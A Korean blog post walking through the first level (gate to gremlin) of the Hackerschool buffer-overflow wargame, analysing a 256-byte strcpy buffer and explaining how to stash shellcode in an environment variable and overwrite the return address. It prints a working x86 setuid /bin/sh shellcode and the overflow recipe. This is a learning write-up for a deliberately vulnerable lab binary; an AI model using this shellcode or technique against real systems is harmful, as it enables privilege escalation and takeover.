Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- 러닝 스칼라
- webhacking
- mysql
- 딥러닝
- php
- 리눅스
- hackerschool
- 챗GPT
- Shellcode
- 파이썬
- backend
- BOF 원정대
- Scala
- 경제
- BOF
- Linux
- Python
- 인공지능
- 백엔드
- c
- ChatGPT
- hacking
- c++
- 웹해킹
- Javascript
- flask
- hackthissite
- Web
- 러닝스칼라
- deep learning
Archives
- Today
- Total
jam 블로그
[bof 원정대] gate -> gremlin (simple BOF) 본문
728x90
bof를 기본적으로 공부할 수 있게 해주신 해커스쿨께 감사의 인사를 드립니다. ^^
gremlin의 파일을 bof 시켜야 하는데 gremlin파일의 소스코드는 다음과 같습니다.
[그림 1] bof 원정대 입구~
gremlin의 파일을 bof 시켜야 하는데 gremlin파일의 소스코드는 다음과 같습니다.
[그림 2] gremlin.c
소스분석
1. 인자값이 적어도 하나 이상이 되어야한다.
2. buffer의 크기는 256이며 첫번째 인자값을 buffer에 복사합니다.
3. buffer를 뿌려줍니다.
bof 할 방법은 환경변수에 shellcode 올려놓고 그것을 불러와서 실행하는 방법으로 할 생각입니다.
우리가 해야할 일은 다음과 같습니다.
0. bash2로 실행시키세요 (콘솔에 bash2를 치고 시작합니다. bash에 버그가 있다고 하네요)
1. shellcode 생성(또는 검색 후 가져오기)
2. shellcode를 환경변수에 올리기
3. 환경변수의 주소 알아내기
4. 주소를 바탕으로 bof시 불러오기
1. shellcode를 생성 또는 검색해서 가져옵니다. shellcode는 다음과 같습니다. 생성 방법은 추후에 공부하고 글을 작성하겠습니다.
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
2. 환경변수에는 shellcode를 넣습니다.
[그림 3] 환경변수에 shellcode 입력
3. 환경변수의 주소를 알아내기
2번 처럼 환경변수를 제대로 넣었다면 환경변수명 shellcode가 메모리 어디에 올라가있는지 주소값을 얻어야합니다. 다음 소스는 환경변수의 주소값을 보여주는 소스입니다.
4. 주소를 바탕으로 bof 공격하기
gremlin 파일에 perl 스크립트로 A를 260 넣고 그 다음에 shellcode 환경변수의 주소값을 순서 거꾸로 해서 넣습니다. (거꾸로 넣는 이유는 redhat은 little endian 이므로)
공격이 제대로 되었다면 bash$이 떨어질것이고 id 쳐서 권한이 올라갔는지 보고 my-pass로 다음 레벨의 암호를 보면 됩니다.
'해킹 > 시스템' 카테고리의 다른 글
[bof 원정대] wolfman -> darkelf (egghunter, buffer hunter, check length of argv[1]) (0) | 2012.03.19 |
---|---|
[bof 원정대] orc -> wolfman (egghunter, buffer hunter) (0) | 2012.03.19 |
[bof 원정대] goblin -> orc (egghunter) (0) | 2012.03.19 |
[bof 원정대] cobolt -> goblin (small buffer, stdin) (0) | 2012.03.16 |
[bof 원정대] gremlin -> cobolt (small buffer bof) (0) | 2012.03.16 |
Comments